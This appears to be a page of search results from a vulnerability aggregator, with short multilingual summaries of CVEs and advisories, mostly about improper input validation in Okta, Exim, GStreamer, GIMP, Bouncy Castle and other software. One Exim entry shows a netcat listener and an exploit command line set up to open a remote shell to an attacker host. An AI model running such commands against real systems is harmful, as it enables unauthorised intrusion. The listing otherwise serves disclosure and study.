3079 matches found
CVE-2026-77585
CVE-2026-77585 affects the Okta Privileged Access client , which fails to reject a leading hyphen in the username portion of an SSH target string. Because the value can be interpreted as a command-line option by the underlying SSH process, this constitutes an improper validation issue. Per the as...
CVE-2026-77130
The extension fails to properly validate the expiration of a client-supplied JWT token, allowing an attacker in control of a valid API key to authenticate with an expired token. Exploitation requires the attacker to already be in control of the SYSSY project's API key...
kkFileView 4.0 - Server-Side Request Forgery
kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests. id: CVE-2022-42149 info: name: kkFileView 4.0 - Server-Side Request Forge...
OpenCATS - Open Redirect
OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations. id: CVE-2023-27292 info: name:...
Gradio - Open Redirect
An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting XSS, Server-Side Request Forgery SSRF, amongst others. This...
day01-sessionreaper-lab
第 1 天 — SessionReaper 风格的漏洞实验室（教育用途） 这是一个微型实验室，模拟 了 CVE-2025-54236（“SessionReaper”）所报告的核心概念： 对嵌套 JSON 的不当验证导致危险代码路径 。这不是 Magento/Adobe Commerce；这是一个最小的教育性复刻，供你在 Docker 中安全练习。 快速开始 root@kitploit: chmod +x entrypoint.sh docker build -t day1-reaper . docker run --rm -d -p 8080:80 --name day1...
CVE-2026-51954
제품: Webasyst Framework 영향을 받는 버전: ≤ 4.0.3 심각도: 높음 CVSS 3.1: 8.0 설명 Webasyst Framework 4.0.3 이하에는 OAuth 2.0 구현 결함이 존재하며, 이로 인해 원격의 비인증 공격자가 OAuth 흐름 중에 발급된 인증 자격 증명을 가로챌 수 있습니다. 피해자는 일반적인 인증 승인 외에 추가로 어떤 조치를 취할 필요가 없습니다. 부적절한 검증으로 인해 공격자는 영구적인 API 액세스 토큰을 획득하고, 피해자의 전체 Webasyst 계정에 대해 완전하고 제한 없는 A...
CVE-2021-24762
개요 이 저장소는 HTTP 스캐닝을 통해 WordPress 인스턴스에서 식별된 취약점인 CVE-2021-24762의 탐지를 문서화합니다. 해당 취약점은 WordPress AJAX 엔드포인트에서 발견되었습니다: /wp-admin/admin-ajax.php 이 엔드포인트는 WordPress 플러그인과 테마가 비동기 요청을 처리하는 데 일반적으로 사용됩니다. AJAX 액션에 대한 검증이 부적절하거나 구현이 안전하지 않으면 공격자가 이 엔드포인트를 악용할 수 있습니다. 스캔 결과 취약점 스캔에서 다음 결과를 얻었습니다:...
CVE-2019-10149
CVE-2019-10149 CVE-2019-10149 : Exim バージョン 4.87 から 4.91（含む）に欠陥が見つかりました。 /src/deliver.c 内の delivermessage 関数における受信者アドレスの不適切な検証により、リモートでのコマンド実行につながる可能性があります。 例 root@kitploit: nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...
cve-2018-12798
Adobe Acrobat Reader 堆溢出远程代码执行漏洞 漏洞 内存缓冲区边界内操作限制不当漏洞 漏洞描述 该漏洞允许远程攻击者在受影响的 Adobe Acrobat Pro DC 安装中执行任意代码。利用此漏洞需要用户交互，即目标必须访问恶意页面或打开恶意文件。 具体缺陷存在于 Unicode 字符串的处理过程中。在解析过程中，进程在将用户提供的数据复制到固定长度的基于堆的缓冲区之前，未正确验证其长度。攻击者可以利用此漏洞在当前进程上下文中执行代码。 CVE 编号 CVE-2018-12798 厂商 www.adobe.com 产品 Acrobat DC...
CVE-2026-59639
A flaw was found in Bouncy Castle for Java. The library's Cryptographic Message Syntax CMS component, which handles digital signature verification, incorrectly validates data that has no signers. This means that even if data is not digitally signed, the system might still consider it legitimate...
GStreamer: GStreamer: Remote code execution via MRF file parsing
A flaw was found in GStreamer. This out-of-bounds write vulnerability occurs during the parsing of MRF files due to improper validation of user-supplied data. A remote attacker could exploit this by tricking a user into visiting a malicious page or opening a malicious file. Successful exploitatio...
GStreamer: GStreamer: Remote code execution via MRF file parsing
A flaw was found in GStreamer. This out-of-bounds write vulnerability occurs during the parsing of MRF files due to improper validation of user-supplied data. A remote attacker could exploit this by tricking a user into visiting a malicious page or opening a malicious file. Successful exploitatio...
Security Bulletin: Langflow is affected by security vulnerabilities in Model Context Protocol features
Summary Langflow uses Model Context Protocol MCP features to manage external server connections, project access, file resources, and local client integration. Weaknesses in MCP command and configuration validation, authentication and authorization enforcement, file resource handling, and request...
CVE-2025-50944
CVE-2025-50944 EagleEyes Lite Android 애플리케이션의 부적절한 인증서 체인 검증 1. 개요 이름 : EagleEyesLite 버전 : 2.0.0 공급업체 : AVTECH CWE : CWE-295: 부적절한 인증서 검증 CVSS : 8.8 높음 벡터 문자열 : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 2. 요약 EagleEyes Lite 버전 2.0.0는 HTTPS 통신 중 SSL/TLS 서버 인증서를 제대로 검증하지 못합니다. 애플리케이션은...
CVE-2026-48105
Arc is an open, SQL-native time-series database for telemetry. Prior to version 26.06.1, Arc Enterprise's Raft FSM internal/cluster/raft/fsm.go:applyRegisterFile accepts attacker-chosen file paths in manifest-registration proposals without validating them against the configured storage backend. T...
CVE-2026-18304
A flaw was found in GIMP. This vulnerability allows a remote attacker to execute arbitrary code by tricking a user into opening a specially crafted TIF file. The issue arises from improper validation of user-supplied data during TIF file parsing, which can lead to an integer overflow before memor...
CVE-2026-18297
A flaw was found in GStreamer. This vulnerability, a stack-based buffer overflow, occurs during the parsing of OGG files due to improper validation of user-supplied data length. A remote attacker could exploit this by tricking a user into visiting a malicious page or opening a malicious file,...
EUVD-2026-63809
Software installed and run as a non-privileged user may conduct improper GPU system calls to pass invalid log2 page size when allocating physical pages leading to OOB read and/or write due to improper validation of the said value. Such crafted log2 page size could lead to 4K pages being treated a...